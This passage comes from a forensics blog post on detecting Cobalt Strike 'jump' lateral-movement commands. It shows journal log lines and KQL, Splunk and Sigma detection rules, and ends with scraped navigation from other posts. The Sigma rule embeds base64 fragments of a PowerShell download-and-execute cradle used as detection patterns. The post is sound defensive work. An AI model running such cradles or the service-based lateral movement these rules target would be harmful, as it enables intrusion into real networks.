13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1` USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:17.990	[fs/usnjrnl] File ¨C361C USN_REASON_DATA_EXTEND USN_REASON_DATA_TRUNCATION
13:45:17.990	[fs/usnjrnl] File ¨C362C USN_REASON_DATA_TRUNCATION
13:45:17.990	[fs/usnjrnl] File ¨C363C USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_DATA_TRUNCATION

Conclusion

The default Cobalt Strike jump command with psexec_psh is fairly easy to detect because it creates a service with a random name² with an embedded PowerShell command, so many PowerShell logs are generated to capture the full PowerShell staging payload. Unlike the jump psexec64 command, which also uses a service, the payload of the jump psexec_pth command is not dropped on the system but encoded in a PowerShell command.

Detection Rule Example

Kibana

The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. Note that all these events occur in a short period of time.

parser : "winevtx" and source_name : "Service Control Manager" and  eid : 7045 and message : *%COMSPEC%*powershell*hidden*-encodedcommand*
parser : "winevtx" and source_name : "PowerShell" and eid : ( 400 or 600 ) and message : *HostApplication=powershell*hidden*-encodedcommand*
parser : "winevtx" and source_name : "Microsoft-Windows-PowerShell" and eid : 4104
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : ( CMD.EXE* or POWERSHELL.EXE* or *__PSScriptPolicyTest_* )
parser : ( "prefetch" or "mft" ) and message : ( *CMD.EXE* or *POWERSHELL.EXE* )

Splunk

Many rules can be created to detect this command.

Search for the cmd.exe and powershell.exe Prefetch files;
Search for a logon connection followed by a service installation (like the remote-exec psexec rule created in part 1);
A mix of rules 1 and 2, etc.

host="*" index="*" parser=winevtx eid=7045 service_path="*%COMSPEC%*"
| table _time host message
| sort _time

Sigma

A Sigma rule already exists for this event sigma/win_cobaltstrike_service_installs.yml at master · SigmaHQ/sigma.

sigma-cli &gt;&gt;&gt; sigma convert -t splunk -p sysmon ../sigma/rules/windows/builtin/system/win_cobaltstrike_service_installs.yml
Parsing Sigma rules  [####################################]  100%
Provider_Name="Service Control Manager" EventID=7045 (ImagePath="*ADMIN$*" ImagePath="*.exe*" OR ImagePath="*%COMSPEC%*" ImagePath="*start*" ImagePath="*powershell*" OR ImagePath="*powershell -nop -w hidden -encodedcommand*" OR ImagePath="*SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTI3LjAuMC4xO*" OR ImagePath="*lFWCAoTmV3LU9iamVjdCBOZXQuV2ViY2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMT*" OR ImagePath="*JRVggKE5ldy1PYmplY3QgTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6*")

Part 2 – Conclusion

The three built-in jump commands tested are fairly easy to detect in a default Windows 10 workstation without any particular audit policies enabled.

The psexec64 and psexec_psh built-in commands are the easiest to detect because they are both executed as a service (with a random name²). For the psexec64 command, the ImagePath service pointed to a binary on the C:\Windows directory (previously copied), and for the psexec_psh command, it pointed to a PowerShell one-liner payload (base64-encoded and gzip-compressed).

The winrm64 built-in command is a little bit harder to detect because it does not use services, but should be fairly easy to detect because the PowerShell event ID 4104 is generated by AMSI and the full PowerShell payload is captured. In addition, a WinRM event (event id 91) is generated to warn that a connection is received.

To detect lateral movements even more efficiently, we advise installing Sysmon with a custom configuration and/or activating the relevant audit policies.

Cobalt strike CSIRT DFIR DFIR-ORC ELK Forensics KIbana Psexec Sigma Splunk TTP Winrm

Auteur/autrice : LexfoMLB

Short analysis

32-bit environment

64-bit environment

Conclusion

The bug

Exploit theory

First idea

jemalloc: some allocator

A powerful primitive

Improving efficiency

Exploit practice

Target of choice: SSL

Attacking on 64 bits

Attacking on 32 bits

A need for a reliable and secure reverse shell

How does it work ?

Building a reverse sshd

Approach

Findings Summary

Cobalt Strike « jump psexec64 »

Microsoft-Windows-Sysmon

Event ID 1 – Process Create

Event ID 3 – Network Connection Detected

Event ID 7 – Image Loaded

Event ID 11 – File Create

Event ID 13 – Registry Value Set

Event ID 17 – Pipe Created

Event ID 25 – Process Tampering

Findings

Winevtx – Microsoft-Windows-Security-Auditing

Winevtx – Service Control Manager

Prefecth – Program execution

File System – MFT

File System – USN journal

Conclusion

Detection Rule Example

Kibana

Splunk

Sigma

Cobalt Strike « jump winrm64 »

Microsoft-Windows-Sysmon

Event ID 1 – Process Create

Event ID 3 – Network Connection Detected

Event ID 7 – Image Loaded

Event ID 11 – File Create

Event ID 17 / 18 – Pipe Created or Accessed

Findings

Winevtx – Microsoft-Windows-Security-Auditing

Winevtx – Microsoft-Windows-WinRM

Winevtx – PowerShell / Microsoft-Windows-PowerShell

Prefecth – Program execution

File System – MFT

File System – USN journal

Conclusion

Detection Rule Example

Kibana

Splunk

Sigma

Cobalt Strike « jump psexec_psh »

Microsoft-Windows-Sysmon

Event ID 1 – Process Create

Event ID 3 – Network Connection Detected

Event ID 11 – File Created

Event ID 13 – Registry Value Set

Event ID 17 – Pipe Created

Findings

Winevtx – Microsoft-Windows-Security-Auditing

Winevtx – PowerShell

Winevtx – Service Control Manager

Prefecth – Program execution

File System – MFT

File System – USN journal

Conclusion

Detection Rule Example

Kibana

Splunk

Sigma

Part 2 – Conclusion

Besoin d’informations concernant nos offres ou notre société ? N’hésitez pas à nous contacter, nous vous répondrons rapidement !